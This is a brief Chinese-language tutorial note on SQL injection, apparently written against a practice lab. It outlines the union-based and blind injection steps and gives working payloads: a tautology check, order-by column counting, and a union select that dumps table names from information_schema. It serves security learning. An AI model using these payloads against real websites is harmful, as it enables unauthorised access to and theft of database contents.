sql注入
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
sql注入(盲注)
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
sql注入步骤
开始攻击
一般用于试验的字符串是 1’ and ‘1’ =’2(会导致查询结果为空)
输入 1’or ‘1234’=’1234,确认是否有漏洞。如果有,返回结果不止一个,确认了漏洞的存在。
猜测 sql 字段数量
分别输入 1’ and 1=1 order by 1 # 、1’ and 1=1 order by 2 #、1’ and 1=1 order by 3 #,按照查询出来的第一个、第二个、第三个字段排序,确认有多少个字段(只显示2个不代表 sql 也只查出了2个)。
确定显示顺序
输入 1’ union select 1,2 # ,确认是否查询成功。由于使用了 union,对于第二个 select,其中 1 会对应第一个字段的值,2 会对应第二个字段的值。如果成功,说明值为1的是第一个字段,值为2的是第二个字段。
获取数据库中的表
union 可以用,那就意味着我们不仅能操控 where,连整个 select 语句都可以控制了。所以下一步,要获取更多的信息,例如拿到数据库所有表。
输入 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,把 First Name 返回1,Surname 返回所有数据库表。